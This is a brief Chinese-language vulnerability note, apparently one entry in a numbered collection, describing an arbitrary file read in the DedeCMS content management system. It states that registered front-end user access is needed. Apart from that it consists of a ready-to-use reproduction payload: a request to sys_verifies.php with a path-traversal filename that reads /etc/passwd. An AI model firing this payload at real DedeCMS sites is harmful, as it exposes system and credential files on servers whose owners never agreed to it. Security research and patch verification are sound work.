D20-4DedeCMS–任意文件读取

漏洞描述：

需前台注册用户权限。

漏洞复现：

payload：

http://ip/dede/sys_verifies.php?action=view&filename=././/etc/passwd